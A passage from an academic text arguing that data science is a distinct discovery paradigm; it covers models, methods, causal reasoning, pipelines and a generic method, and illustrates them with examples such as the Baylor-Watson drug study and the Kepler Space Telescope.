paradigm, the scientific method6; however, they differ enough for data science to
be considered a distinct, new paradigm. Like the scientific method, data science is
based on principles and techniques required to conduct discovery activities that are
typically defined in terms of a sequence of steps, called a workflow or pipeline;
results are specified probabilistically and with error bounds based on the data, the
model, and the analytical method used; and the results are interpreted in terms of the
hypothesis being evaluated, the model, the methods, and the probabilistic outcome
relative to the accepted requirements of the domain of the study. In both paradigms,
models are collections of features (represented by variables that determine the data to
be collected) that characterize the essential properties of the phenomenon being
analyzed. Data corresponding to the features (variables) in the model are collected

6The scientific method is a body of techniques for investigating phenomena, acquiring new
knowledge, or correcting and integrating previous knowledge. To be termed scientific, a method
of inquiry is commonly based on empirical or measurable evidence subject to specific principles of
reasoning. https://en.wikipedia.org/wiki/Scientific_method
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from real instances of the phenomena and analyzed using analytical methods
developed for the type of analysis to be conducted and the nature of the data
collected, for example, different methods are required for integers uniformly distrib-
uted in time versus real numbers skewed due to properties of the phenomenon. The
outcomes of the analysis are interpreted in terms of the phenomena being analyzed
within bounds of precision and errors that result from the data, model, and method
compared with the precision required in the domain being analyzed, for example,
particle physics requires precision of six standard deviations (six sigma). Data
science differs paradigmatically from the scientific method in data, models, methods,
and outcomes, as described below. Some differences may be due to data science
being in its infancy, that is, models for real-time cyber-attacks may not yet have been
developed and proven; however, some differences, discussed below, are inherent.
We are in the process of learning which is which.

3.1 Data Science Data, Models, and Methods

Data science data is often obtained with limited knowledge of the conditions under
which the data was generated, collected, and prepared for analysis, for example, data
found on the web; hence, it cannot be evaluated as in a scientific experiment that
requires precise controls on the data. Such data is called observational. Compared
with empirical scientific data, data science data is typically, but not necessarily, at
scale by orders of magnitude in one or more of volume, velocity, and variety. Scale
requires management and analytic methods seldom required in empirical science.

Data science models used in most scientific domains have long histories of
development, testing, and acceptance, for example, the standard model of particle
physics7 emerged in 1961 after decades of development and has matured over the
subsequent decades. In contrast, currently data science models, for example, for real-
time bidding for online advertising, are created on demand for each data science
activity using many different, innovative, and ad hoc methods. Once a model is
proven, they can be accepted and put into productive use with periodic tuning, for
example, real-time ad placement products. It is likely that many proven data science
models will emerge as data science modelling matures. StackAdapt.com has devel-
oped such a model for real-time bidding and programmatic ad purchasing (RTB) that
is its core capability and intellectual property with which it has become a RTB world
leader among 20 competitors worldwide. The StackAdapt model is used to scan
10 billion data points a day and manage up to 1,50,000 ad opportunity requests per
second during peak times.

7The Standard Model of particle physics is the theory describing three of the four known funda-
mental forces (the electromagnetic, weak, and strong interactions, and not including the gravita-
tional force) in the universe, as well as classifying all known elementary particles. It was developed
in stages throughout the latter half of the twentieth century, through the work of many scientists
around the world. https://en.wikipedia.org/wiki/Standard_Model
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Data science analytical methods, like data science models, are often domain- and
data-specific and are developed exclusively for a specific data science activity. There
are generic methods, often named by a class name. For example, the primary classes
of machine-learning algorithms8 are: Linear Classifiers—Logistic Regression, Naive
Bayes Classifier; Support Vector Machines; Decision Trees; Boosted Trees; Ran-
dom Forest; Neural Networks; and Nearest Neighbor. There are generic algorithms
for each class each of which can be applied in many domains. However, to be
applied in a specific use case they must be refined or tuned often to the point of being
applicable in that use case only. This is addressed in the next section that questions
whether there are, as yet, underlying, thus generalizable, principles in data science.

Both models and methods require tuning or adjusting in time as more knowledge
and data are obtained. Empirical scientific models tend to evolve slowly, for
example, the standard model of particle physics is modified slowly9; in contrast,
data science models typically evolve rapidly throughout their design and develop-
ment, and even in deployment, using dynamic learning. Typically, models and
methods are trained using semi-automatic methods by which specific data or out-
comes, called ground truths, are confirmed by humans as real to the model or
method. More automatic methods, for example, reinforcement learning and meta-
learning,10 are being developed by which models and methods are created automat-
ically (Silver et al. 2017).

3.2 Data Science Fundamentals: Is Data Science a Science?

Currently, most data science results are domain-, method-, and even data-specific.
This raises the question as to whether data science is yet a science, that is, with
generalizable results, or merely a collection of sophisticated analytical methods,
with, as yet, a few underlying principles emerging, such as Bayes’ Theorem, Uncle
Bernie’s rule,11 and Information Bottleneck theory. The scientific method is defined
by principles that ensure scientific objectivity, such as empirical design and the
related controls to govern experimental design and execution. These and other
scientific principles make experiments “scientific,” the minimum requirement for a
result to be considered scientific. Scientific experiments vary across domains, such
as the statistical significance required in a given domain, for example, two sigma has
traditionally been adequate in many domains besides particle physics. A necessary,
defining characteristic of data science is that the data is either at scale (Big Data) or
observational (collected without knowing the provenance—what controls were

8https://medium.com/@sifium/machine-learning-types-of-classification-9497bd4f2e14
9Validating the Higgs-Boson took 49 years.
10http://bair.berkeley.edu/blog/2017/07/18/learning-to-learn/
11See Morgan, N., & Bourlard, H. (1990). Generalization and parameter estimation in feedforward
nets: Some experiments. In Advances in neural information processing systems (pp. 630–637).
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applied or with no controls uniformly applied) as is generally the case in economics
and social sciences. Under those conditions, data science cannot be “scientific,”
hence accommodations must be made to draw conclusions from analysis over such
data. As data science is just emerging in each domain, we have few principles or
guidelines per domain, for example, statistical significance of results, or across all
domains, for example, the extent to which statistical significance is required in any
data science analysis. The above-mentioned pothole analysis was designed and
executed by sheer intuition beyond the general ideas of identifying the hypothesis
(find potholes using motion devices in taxis), experimental design (put devices in
taxis and record their signals), modeling (what features are critical), and analysis
(what motions indicate potholes, and which do not), and iteration of the model and
analysis until acceptable precision was reached. The pothole data science activity did
not draw on previous methods, nor did it offer, that is, was not cited, principles for
modeling, methods, or process.

Another practical example is at Tamr.com that offers one of the leading solutions
for curating or preparing data at scale, for example, data from 1,00,000 typically
heterogeneous data sources. It launched initially with a comprehensive solution in
the domain of information services. Tamr soon found that every new domain
required a substantial revision of the machine-learning component. Initially, like
most AI-based startups, their initial solution was not generalizable. As can be seen at
Tamr.com, Tamr now has solutions in many domains for which they have substan-
tial commonality in the underlying solutions.

Another fundamental difference between science and data science concerns the
scale and nature of the outcomes. The scientific method is used to discover causal
relationships between a small number of variables that represent the essential
characteristics of the natural phenomena being analyzed. The experimental hypoth-
esis defines the correlation to be evaluated for causality. The number of variables in a
scientific experiment is kept small due to the cost of evaluating a potentially vast
number of combinations of variables of interest. PhD theses, that is, an experiment
conducted by one person, are awarded on experiments with two or three but certainly
less than ten variables. Large-scale experiments, for example, Laser Interferometer
Gravitational-Wave Observatory (LIGO),12 Kepler,13 and Higgs-Boson, may con-
sider hundreds of variables and take years and thousands of scientists to evaluate.
Determining whether a correlation between variables is causal tends to be an
expensive and slow process.

Data science, on the other hand, is used to rapidly discover as many correlations
between the data values as exist in the data set being analyzed, even with very large
models (millions of variables) and vast data sets. Depending on the analytical
method used, the number of variables in a data science analysis can be effectively
unlimited, for example, millions, even billions, as can be the number of correlations
between those variables, for example, billions or trillions. Data science analytics are

12http://www.ligo.org/
13https://keplerscience.arc.nasa.gov/
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executed by powerful, efficient algorithms using equally powerful computing infra-
structure (CPUs, networks, storage). The combined power of new algorithms and
infrastructure in the 1990s led to the current efficacy of machine learning that in turn
contributed to the emergence of data science.

3.3 The Prime Benefit of Data Science Is Accelerating
Discovery

Data science and empirical science differ dramatically, hence paradigmatically, in
the scale of the data analyzed. Scientific experiments tend to evaluate a small
number, for example, 10s or 100s, of correlations to determine if they are causal,
and do so over long periods of time, for example, months or years. In contrast, data
science can identify effectively unlimited numbers of correlations, for example,
millions, billions, or more, in short time periods, from minutes to days. It is in this
sense that data science is said to accelerate discovery. Originally developed in the
1990s for scientific discovery, the remarkable results of data science have resulted in
its being applied to all endeavors for which adequate data is available. The prime
benefit of data science is that it is a new paradigm for accelerating discovery, in
general.

Ideally, data science is used to accelerate discovery by rapidly reducing a vast
search space to a small number of correlations that are likely to be casual, as
indicated by their estimated probability. Depending on the resources available,
some number of the probabilistic correlations are selected to be analyzed for
causality by well-established (non-data science) means in the domain being ana-
lyzed. For example, data science has been used to accelerate cancer drug discovery.
The Baylor-Watson study (Spangler et al. 2014) used data science methods to
identify nine likely cancer drug candidates. It used a simple, novel method to further
evaluate their likelihood. The original analysis was conducted over drug research
results published up to 2003 and identified nine likely candidate drugs. The likeli-
hood of those nine candidate drugs was raised significantly when the research
published from 2003 to 2013 showed that seven of the nine candidates had been
validated as genuine cancer drugs. This raised the likelihood that the remaining two
candidate drugs were real. Standard EPA-approved drug development and clinical
trial testing were then used to develop the two new drugs. In this case, data science
accelerated drug discovery for a specific type of cancer. It started with a vast search
space of cancer research results from 2,40,000 papers. In three months it discovered
the two highly likely cancer drug candidates. Conventional cancer drug discovery
typically discovers one drug every 2–3 years. These times do not include the drug
development and clinical trial periods.
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3.4 Causal Reasoning in Data Science Is Complex and Can
Be Dangerous

Just as the scale is radically different so is the nature of the results. The scientific
method discovers results that, if executed correctly, are definitive, that is, true or
false, with a defined probability and error bound, that a hypothesized relationship is
causal. Data science discovers a potentially large number of correlations each
qualified by a probability and error bound that indicate the likelihood that the
correlation may be true. Data science is used to discover correlations; it is rarely
used to determine causal relationships. The previous sentence is often misunder-
stood not just by novices but also, unfortunately, by data scientists. Empirical
science discovers causal relationships in one step. Data science is frequently used
to discover causal relationships in two steps: First, discover correlations with a
strong likelihood of being causal; then use non-data science methods to validate
causality.

Causality is the Holy Grail of science, scientific discovery, and if feasible, of data
science. Typically, the goal of analyzing a phenomenon is to understand why some
aspects of the phenomenon occur, for example, why does it rain? Prior to a full
understanding of the phenomenon, initial discovery is often used to discover what
conditions prevail when the phenomenon manifests, for example, as rain starts and
during rain many raised umbrellas can be observed. A more informed observer may
also discover specific climatic conditions. All of the conditions observed to be
present consistently before and during the rain could be said to be correlated with
rain. However, correlation does not imply causation, for example, raised umbrellas
may be correlated with rain but do not cause the rain (Brodie 2014a). A more
realistic example comes from an online retailer who, observing that increased sales
were correlated with customers purchasing with their mobile app, invested signifi-
cantly to get their app onto many customers’ smartphones. However, the investment
was lost since sales did not increase. Increased purchases were correlated with
mobile apps on customers’ smartphones; however, the causal factor was customer
loyalty and, due to their loyalty, most loyal customers already had the app on their
smartphones.

Data science is used predominantly to discover what. Empirical science and
many other methods are used to discover why (Brodie 2018). Data science is often
used to rapidly reduce the search space from a vast number of correlations or
possible results to a much smaller number. The much smaller number of highly
probable results are then analyzed with non-data science methods, such as scientific
experiments or clinical trials, to verify or reject the result, that is, automatically
generated hypotheses, as causal.

There are mathematics and methods claimed for deducing causal effects from
observational data (i.e., data not from controlled experiments but from surveys,
censuses, administrative records, and other typically uncontrolled sources such as
in Big Data and data science). They are very sophisticated and require a deep
understanding of the mathematics, statistics, and related modelling methods. Judea
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Pearl has developed such methods based on statistics, Bayesian networks, and
related modelling (see Pearl 2009a, b, c). For decades, statisticians and econometri-
cians have developed such methods with which to estimate causal effects from
observational data, since most social and economic data is purely observational
(Winship and Morgan 1999).

Causal reasoning involves going beyond the mathematics and modelling for data
science in which correlations are obtained. “One of Pearl’s early lessons is that it’s
only possible to draw causal conclusions from observational (correlational) data if
you are willing to make some assumptions about the way that the data were sampled
and about the absence of certain confounding influences. Thus, my understanding is
that one can draw causal conclusions, but it’s important to remember that these are
really conditional on the validity of those assumptions,” says Peter Szolovits,
Professor, CSAIL, MIT, with a decade of experience applying data science in
medical contexts for which he provided an example.14

Finding correlations between variables in (Big) data together with probabilities or
likelihoods of the correlation occurring in the past or future are relatively easy to
understand and safe to report. Making a causal statement can be misleading or
dangerous depending on the proposed actions to be taken as a consequence.
Hence, I do not condone nor confirm causal reasoning; it is above my pay grade;
hence, I quote experts on the topic rather than make my own assertions. I recommend
that causal reasoning not be applied without the required depth of knowledge and
experience, because making causal statements as a result of data science analysis
could be dangerous. In lecturing on correlation versus causation for over 5 years, I

14The full quote from personal communication: “There are various sophisticated ways to do all this
but let me give you a relatively simple example: Suppose that we observe that in some cohort of
patients, some were treated with drug X and others with drug Y. Suppose further that we see that
fewer of the X patients died than of the Y ones. It’s certainly NOT acceptable to conclude that X is a
better drug, because we can’t exclude the possibility that the treating doctors’ choice of X or Y
depended on some characteristics of the patient that also influenced their likelihood of survival. E.
g., maybe the people who got Y were much sicker to start with, because Y is a stronger and more
dangerous drug, so it is only given to the sickest patients.

“One way to try to mitigate this is to build a model from all the data we have about the patients in
the cohort that predicts whether they are likely to get X or Y. Then we stratify the cohort by the
probability of getting X, say. This is called a propensity score. Among those people with a high
score, most will probably actually get X (that’s how we built the model), but some will nevertheless
get Y, and vice versa. If we assume that the doctors choosing the drug have no more information
than the propensity model, then we treat their choice to give X or Y as a random choice, and we
analyze the resulting data as if, for each stratum, patients were randomized into getting either X
or Y, as they might have been in a real clinical trial. Then we analyze the results under that
assumption. For many of the strata where the propensity is not near .5, the drugs given will be
unbalanced, which makes the statistical power of the analysis lower, but there are statistical methods
for dealing with this. Of course, the conclusions one draws are still very much dependent of the
assumption that, within each stratum, the doctors’ choice of drug really is random, and not a
function of some difference among the patients that was not captured in the data from which the
propensity model was built.

“This is just one of numerous methods people have invented, but it is typical of the kinds of
assumptions one has to make in order to draw causal conclusions from data.”
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have found that an inordinate amount of interest is given to this difficult and little
understood topic, perhaps with a desire to be able to provide definitive answers, even
when there are none. I have found no simple explanation. You either study,
understand, and practice causal reasoning with the appropriate care or simply stay
away until you are prepared. Experts are appropriately cautious. “I have not, so far,
made causal claims based on my work, mainly because I have not felt strongly
enough that I could defend the independence assumptions needed to make such
claims. However, I think the kinds of associational results are still possibly helpful
for decision makers when combined with intuition and understanding. Nevertheless,
I think most clinicians today do not use predictive models other than for more
administrative tasks such as staffing or predicting bed occupancy”—Peter Szolovits,
MIT. “I firmly believe that [deriving] causal results from observational data is one of
the grand challenges of the data science agenda!”—David Parkes, co-lead of the
Harvard Data Science Initiative. “Pearl once explained those ideas to me personally
at Santa Catalina workshop, but I still don’t fully understand them either:)”—
Gregory Piatetsky-Shapiro, President of KDnuggets, co-founder of KDD Confer-
ences and ACM SIGKDD.

3.5 Data Science Flexibility: Data-Driven or Hypothesis-
Driven

Empirical science and data science have another fundamental difference. The scien-
tific method uses deductive reasoning, also called hypothesis-driven, theory-driven,
and top-down. Deductive reasoning is used when specific hypotheses are to be
evaluated against observations or data. A scientific experiment starts by formulating
a hypothesis to be evaluated. An experiment is designed and executed, and the
results interpreted to determine if the hypothesis is true or false under the conditions
defined for the hypothesis. It is called theory-driven in that a theory is developed,
expressed as a hypothesis, and an experiment designed to prove or invalidate the
hypothesis. It is called top-down since the experiment starts at the top—with the
idea—and goes down to the data to determine if the idea is true.

Data science can be hypothesis-driven. That is, as with empirical science, a data
science activity can start with a hypothesis to be evaluated. Unlike empirical science,
the hypothesis can be stated with less precision and the models, methods, and data
can be much larger in scale, that is, more variables, data volume, velocity, and
variety. In comparison, data science accelerates discovery by rapidly reducing a
vastly larger search space than would have been considered for empirical methods to
a small set of likely correlations; however, unlike empirical science, the results are
correlations that require additional, non-data science methods to achieve definitive,
causal results.

One of the greatest advantages of data science is that it can discover patterns or
correlations in data at scale vastly beyond human intellectual, let alone temporal,
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capacity; far beyond what humans could have conceived. Of course, a vast subset of
those found may be entirely spurious. Data science can use inductive reasoning, also
called bottom-up, data-driven, or fact-based analysis, not to evaluate specific
hypotheses but using an analytical model and method to identify patterns or corre-
lations that occur in the data with a specific frequency. If the frequency meets some
predefined specification, for example, statistical significance in the domain being
analyzed, it can be interpreted as a measure of likelihood of the pattern being real. As
opposed to evaluating pre-defined hypotheses in the theory-driven approach, the
data-driven approach is often said to “automatically” generate hypotheses, as in
Nagarajan et al. (2015). The inductive capacity of data science is often touted as its
magic as the machine or methods such as machine learning “automatically” and
efficiently discover likely hypotheses from the data. While the acceleration and the
scale of data being analyzed are major breakthroughs in discovery, the magic should
be moderated by the fact that the discovered hypotheses are derived from the models
and methods used to discover them. The appearance of magic may derive from the
fact that we may not understand how some analytical methods, for example, some
machine learning and deep learning methods, derive their results. This is a funda-
mental data science research challenge as we would like to understand the reasoning
that led to a discovery, as is required in medicine, and in 2018 in the European
Union, by law [the General Data Protection Regulation (GDPR15)].

3.6 Data Science Is in Its Infancy

The excitement around data science and its many successes are wonderful, and the
potential of data science is great, but these positive signs can be misleading. Not only
is data science in its infancy as a science and a discipline, its current practice has a
large learning curve related largely to the issues raised above. Gartner, Forrester, and
other technology analysts report that most (80%) early (2010–2012) data science
projects in most US enterprises failed. In late 2016, Gartner reported that while most
enterprises declare data science as a core expertise, only 15% claim to have deployed
big data projects in their organization (Gartner 2016). Analysts predict 80+% failure
rate through 2017 (Demirkan and Dal 2014; Veeramachaneni 2016; Lohr and
Singer 2016).

3.7 It’s More Complicated Than That

Data science methods are more sophisticated than the above descriptions suggest,
and data-driven analyses are not as pure. Data science analytical methods and

15https://en.wikipedia.org/wiki/General_Data_Protection_Regulation
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models do not discover any and all correlations that exist in the data since they are
discovered using algorithms and models that incorporate some hypotheses that could
be considered biases. That is, you discover what the models and methods are
designed to discover. One must be objective in data science across the entire
workflow—data selection, preparation, modelling, analysis, and interpretation;
hence, a data scientist must always doubt and verify (Brodie 2015b).

It may be useful to experiment with the models and methods. When a data science
analysis reduces a vast search space, it (or the observing human) may learn some-
thing about the discovered correlations and may warrant an adjustment and a re-run
of the model, the method, or even adjusting the data set. Hence, iterative learning
cycles may increase the efficacy of the analysis or simply provide a means of
exploring the data science analysis search space.

Top-down and bottom-up analytical methods can be used in combination, as
follows. Start with a bottom-up analysis that produces N candidate correlations.
Select a subset of K of the correlations with an acceptable likelihood and treat them
as hypotheses to be evaluated. Then use them to run hypothesis-driven data science
analyses and determine, based on the results, which hypotheses are again the most
likely or perhaps even more likely than the previous run and discard the rest. These
results can be used in turn to redesign the data science analysis, for example,
iteratively modify the data, model, and method, and repeat the cycle. This approach
is used to explore data, models, and methods—the main components of a data
science activity. This method of combining top-down and bottom-up analysis has
been proposed by CancerCommons, as a method for accelerating the development of
cancer cures as part of the emerging field of translational medicine.16

4 Data Science Components

Extending the analogy with science and the scientific method, data science, when
mature, will be a systematic discipline with components that are applicable to most
domains—to most human endeavors. There are four categories of data science
components, all emergent in the data science context awaiting research and devel-
opment: (1) principles, data, models, and methods; (2) data science pipelines;
(3) data science infrastructure; and (4) data infrastructure. Below, we discuss these
components in terms of their support of a specific data science activity.

Successful data science activities have developed and deployed these components
specific to their domain and analysis. To be considered a science, these components
must be generalized across multiple domains, just as the scientific method applies to
most scientific domains, and in the last century has been applied to domains
previously not considered scientific, for example, economics, humanities, literature,
psychology, sociology, and history.

16The National Center for Advancing Translational Sciences, https://ncats.nih.gov
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4.1 Data Science Principles, Data, Models, and Methods

A data science activity must be based on data science principles, models, and
analytical methods. Principles include those of science and of the scientific method
applied to data science, for example, deductive and inductive reasoning, objectivity
or lack of bias relative to a given factor, reproducibility, and provenance. Particularly
important are collaborative and cross-disciplinary methods. How do scientific prin-
ciples apply to discovery over data? What principles underlie evidence-based rea-
soning for planning, predicting, decision-making, and policy-making in a specific
domain?

In May 2017, the Economist declared, on its front cover, that data was The
World’s Most Valuable Resource (Economist 2017b). Without data there would be
no data science or any of its benefits. Data management has been a cornerstone of
computer science technology, education, and research for over 50 years, yet Big
Data that is fueling data science is typically defined as data at volumes, velocities,
and variety that cannot be handled by data management technology. A simple
example is that data management functions in preparing data for data analysis take
80% of the resources and time for most data science activities. Data management
research is in the process of flipping that ratio so that 80% of resources can be
devoted to analysis. Discovering data required for a data science activity whether
inside or outside an organization is far worse. Fundamental data research is required
in each step of the data science pipeline to realize the benefits of data science.

A data science activity uses one or more models. A model represents the
parameters that are the critical properties of the phenomenon to be analyzed. It
often takes multiple models to capture all relevant features. For example, the LIGO
experiment, that won the 2017 Nobel Prize in Physics for empirically establishing
the existence of Einstein’s gravitational waves, had to distinguish movement from
gravitational waves from seismic activity and 1,00,000 other types of movement.
LIGO required a model for each movement type so as to recognize it in the data and
discard it as gravitational wave activity. Models are typically domain specific, for
example, seismic versus sonic, and are often already established in the domain.
Increasingly, models are developed specifically for a data science activity, for
example, feature extraction from a data set is common for many AI methods. Data
science activities often require the continuous refinement of a model to meet the
analytical requirements of the activity. This leads to the need for model management
to capture the settings and results of the planned and evaluated model variations. It is
increasingly common, as in biology, to use multiple, distinct models, called an
ensemble of models, each of which provides insights from a particular perspective.
Each model, like each person in Plato’s Allegory of the Cave, represents a different
perspective of the same phenomenon, what Plato called shadows. Each model—each
person—observes what appears to be the same phenomenon, yet each sees it
differently. No one model—person—sees the entire thing, yet collectively they
capture the whole phenomenon from many perspectives. It may also be that a critical
perspective is missed. It is rarely necessary, feasible, or of value to integrate different
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perspectives into a single integrated model. After all, there is no ultimate or truthful
model save the phenomenon itself. Ensemble or shadow modelling is a natural and
nuanced form of data integration (Liu 2012) analogous to ensemble modelling in
biology and ensemble learning (Dietterich 2000) and forecasting in other domains.

A data science activity can involve many analytical methods. A given method or
algorithm is designed to analyze specific features of a data set. There are often
variations of a method depending on the characteristics of the data set, for example,
sparse or dense, uniform or skewed, data type, data volume, etc., hence methods
must be selected, or created, and tuned for the data set and analytical requirements,
and validated. In an analysis, there could be as many methods as there are specific
features with corresponding specific data set types. Compared with analytical
methods in science, their definition, selection, tuning, and validation in data science
often involves scale in choice and computational requirements. Unless they are
experts in the related methods, it is unlikely that a practicing data scientist under-
stands the analytical method, for example, a specific machine-learning approach,
that they are applying relative to the analysis and data characteristics, let alone the
thousands of available alternatives. Anecdotally, I have found that many practicing
data scientists use the algorithms that they were taught rather than selecting the one
most applicable to the analysis at hand. There are significant challenges in applying
sophisticated analytical models and methods in business (Forrester 2015). Having
selected or created and refined the appropriate model, that is, collection of features
that determine the data to be collected, then collected and prepared the data to
comply with the requirements of the model, and then selected and refined the
appropriate analytical method, the next challenge is interpreting the results and,
based on the data, model, and method, evaluating the likelihood, within relevant
error bounds, that the results are meaningful hypotheses worthy of validating by
other means.

4.2 Data Science Workflows or Pipelines

The central organizing principle of a data science activity is its workflow or pipeline
and its life cycle management (NSF 2016). A data science pipeline is an end-to-end
sequence of steps from data discovery to the publication of the qualified, probabi-
listic interpretation of the result in the form of a data product. A generic data science
pipeline, such as listed below, is comprehensive of all data science activities, and
hence can be used to define the scope of data science.

1. Raw data discovery, acquisition, preparation, and storage as curated data in data
repositories

2. Selection and acquisition of curated data from data repositories for data analysis
3. Data analysis
4. Results interpretation
5. Result publication and optionally operationalization of the pipeline for continu-

ous analyses
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The state of the art of data science is such that every data science activity has its
own unique pipeline, as each data science activity is unique. Due to the emergence
and broad applicability of data science, there is far more variation across data science
pipelines than across conventional science pipelines. Data science will benefit, as it
develops, from a better understanding of pipelines and guidance on their design and
development.

Data science pipelines are often considered only in terms of the analytics, for
example, the machine-learning algorithms used to derive the results in step 3. How-
ever, most of the resources required to design, tune, and execute a data science
activity are required not for data analysis, steps 3 and 4 of a data science pipeline, but
for the design and development of the pipeline and for steps 1 and 2.

The design, development, and tuning of an end-to-end pipeline for a data science
activity typically poses significant data modelling, preparation, and management
challenges often requiring significant resources and time required to develop and
execute a data science activity. Two examples are astrophysical experiments, the
Kepler Space Telescope launched in 2009 to find exoplanets and LIGO that was
awarded the 2017 Nobel Prize in Physics. Initial versions of the experiments failed
not because of analysis and astrophysical aspects and models, but due to the data
pipelines. Due to unanticipated issues with the data, the Kepler Science Pipeline had
to be rewritten (Jenkins et al. 2010) while Kepler was inflight retaining all data for
subsequent corrected processing. Similarly, earth-based LIGO’s pipeline was rewrit-
ten (Singh et al. 2007) and renamed Advanced LIGO. Tuning or replacing the faulty
pipelines delayed both experiments by approximately one year.

Once the data has been acquired, the most time-consuming activity in developing
a pipeline was data preparation. Early data science activities in 2003 reported
80–90% of resources devoted to data preparation (Dasu and Johnson 2003). By
2014 this was reduced to 50–80% (Lohr 2014). In specific cases, this cost negatively
impacted some domains (Reimsbach-Kounatze 2015) due to the massive growth of
acquired data. As data science blossomed so did data volumes, leading experts in
2015 to analyze the state of the art and estimating that data preparation typically
consumed 80% of resources (Castanedo 2015). By then products to curate data at
scale, such as Tamr.com, were maturing and being more widely adopted. Due to the
visibility of data science, the popular press surveyed data scientists to confirm the
80% estimates (Press 2016; Thakur 2016). In 2017, technical evaluations of data
preparation products and their use again identified the 2003 estimates of 80% (Mayo
2017; Gartner G00315888 2017).

4.3 Data Science and Data Infrastructures

The core technical component for a data science activity is a data science infra-
structure that supports the steps of the data science pipeline throughout its life cycle.
A data science infrastructure consists of a workflow platform that supports the
definition, refinement, execution, and reporting of data science activities in the
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pipeline. The workflow platform is supported by the infrastructure required to
support workflow tasks such as data discovery, data mining, data preparation, data
management, networking, libraries of analytical models and analytical methods,
visualization, etc. To support user productivity, a user interface is required for
each class of user, each with their own user experience. There are more than
60 such data science platforms—a new class of product—of which 16 meet analysts’
requirements (Gartner G00301536 2017; Gartner G00326671 2017; Forrester 2017).
These products are complex with over 15 component products such as database
management, model management, machine learning, advanced analytics, data
exploration, visualization, and data preparation. The large number of products
reflects the desire to get into a potentially large, emerging market, regardless of
their current ability to support data science.17

Data, the world’s most valuable resource (Economist 2017b), is also the most
valuable resource for the data science activities of an organization (e.g., commercial,
educational, research, governmental) and for entire communities. While new data is
always required for an existing or new data science activity, data science activities of
an organization require a data infrastructure—a sustainable, robust data infrastruc-
ture consisting of repositories of raw and curated data required to support the data
requirements of the organization’s data science activities with the associated support
processes such as data stewardship. Many organizations are just developing data
infrastructures for data science, aka data science platforms. The best known are those
that support large research communities. The US National Research Foundation is
developing the Sustainable Digital Data Preservation and Access Network Partners
to support data science for national science and engineering research and education.
The 1000 Genomes Project Consortium created the world’s largest catalog of
genomic differences among humans, providing researchers worldwide with power-
ful clues to help them establish why some people are susceptible to various diseases.
There are more than ten additional genomics data infrastructures, including the
Cancer Genome Atlas of the US National Institutes of Health, Intel’s Collaborative
Cancer Cloud, and the Seven Bridges Cancer Cloud. Amazon hosts18 the 1000
Genome Project and 30 other public data infrastructures on topics such as geospatial
and environmental datasets, genomics and life science datasets, and datasets for
machine learning. The Swiss Data Science Center started developing the Renga
platform19 to support data scientists with their complete workflow.

17By 1983 in response to the then emerging technology of relational database management systems
(DBMSs) there were over 100 Relational DBMSs of which five survived.
18https://aws.amazon.com/public-datasets/
19https://datascience.ch/renga-platform/
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5 What Is the Method for Conducting Data Science?

A data science activity is developed based on data science principles, models, and
analytical methods. The result of its design and development is a data science
pipeline that will operate on a data science infrastructure, or platform, and will
access data in a data infrastructure. There are a myriad of design and development
methods to get from the principles to the pipeline. What follows is a description of a
fairly generic data science method.

The data science method, until better alternatives arise, is modelled on the
scientific method. The following is one example of applying the empirical approach
to data science analysis, analogous to experimental design for science experiments.
Each step requires verification, for example, using experts, published literature,
previous analysis, and continuous iterative improvement to reach results that meet
a predefined specification. Each step may require revisiting a previous step,
depending on its outcome. As with any scientific analysis, every attempt should be
made to avoid bias, namely, attempting to prove preconceived ideas beyond the
model, methods, and hypotheses. The method may run for hours to days for a small
analysis; months, as for the Baylor-Watson drug discovery (Spangler et al. 2014); or
years, as for the Kepler Space Telescope and LIGO. Design and development times
can be similar to run times. Otto for example, a German e-commerce merchant,
developed over months an AI-based system that predicts with 90% accuracy what
products will be sold in the next 30 days and a companion system that automatically
purchases over 2,00,000 products20 a month from third-party brands without human
intervention. Otto selected, modified, and tuned a deep-learning algorithm originally
designed for particle-physics experiments at CERN (Economist 2017a). These
systems run continuously.

5.1 A Generic Data Science Method21

1. Identify the phenomena or problem to be investigated. What is the desired
outcome?

2. Using domain knowledge, define the problem in terms of features that represent
the critical factors or parameters to be analyzed (the WHAT of your analysis,
that collectively form the model), based on the data likely to be available for the
analysis. Understanding the domain precedes defining hypotheses to avoid bias.

3. If the analysis is to be top-down, formulate the hypotheses to be evaluated over
the parameters and models.

20Stock Keeping Units (SKUs).
21This set of steps was derived from analyzing over 150 data science activities. Its purpose is
as a basis for guidance for those new to data science and as one alternative to data scientists looking
for commonality across domains.
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4. Design the analysis in terms of an end-to-end workflow or pipeline from the data
discovery and acquisition, through analysis and results interpretation. The
analysis should be designed to identify probabilistically significant correlations
(what) and set requirements for acceptable likelihoods and error bounds.

5. Ensure the conceptual validity of the data analysis design.
6. Design, test, and evaluate each step in the pipeline, selecting the relevant

methods, that is, class of relevant algorithms, in preparation for developing the
following steps.
(a) Discover, acquire, and prepare data required for the parameters and models

ensuring that the results are consistent with previous steps.
(b) For each analytical method, select and tune the relevant algorithm to meet

the analytical requirements. This and the previous step are highly interre-
lated and often executed iteratively until the requirements are met with test
or training data.

(c) Ensure the validity of the data analysis implementation.
7. Execute the pipeline ensuring that requirements, for example, probabilities and

error bounds, are met.
8. Ensure empirical (common sense) validation—the validity of the results with

respect to the phenomena being investigated.
9. Interpret the results with respect to the models, methods, and data analytic

requirements. Evaluate the results (patterns or correlations) that meet the
requirements for causality to be validated by methods outside data science.

10. If the pipeline is to operate continuously, operationalize and monitor the pipeline
and its results.

6 What Is Data Science in Practice?

Each data science activity develops its own unique data science method. Three very
successful data science activities are described below in point form descriptions,
using the above terminology to illustrate the components of data science in practice.
They were conducted over 18, 20, and 2 years, respectively. Their data science
pipelines operated for 4 years, 3 years (to date), and 3 months, respectively.

6.1 Kepler Space Telescope: Discovering Exoplanets

The Kepler Space Telescope, initiated in 1999, and its successor project K2, have
catalogued thousands of exoplanets by means of data analytics over Big Data. A
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detailed description of Kepler and access to its data is at NASA’s Kepler & K2
Website.22

• Objective and phenomenon: Discover exoplanets in telescopic images
• Project: NASA-led collaboration of US government agencies, universities, and

companies.
• Critical parameters: Over 100, for example, planet luminosity, temperature,

planet location relative to its sun.
• Models: There are over 30 established astrophysical models. A key Kepler model

is the relationship between luminosity, size, and temperature. This model was
established a century ago by Ejnar Hertzsprung and Henry Russell. This illus-
trates the fact that data science involves many models and analytical methods that
have nothing to do with AI.

• Methods: Over 100, for example, multi-scale Bayesian Maximum A Priori
method used for systematic error removal from raw data. AI was not a principle
method in this project.

• Hypotheses (stated in Kepler documents as a query): Five, including “Determine
the percentage of terrestrial and larger planets that are in or near the habitable
zone of a wide variety of stars.”

• Data: 100s of data types described in the Data Characteristics Handbook23 in the
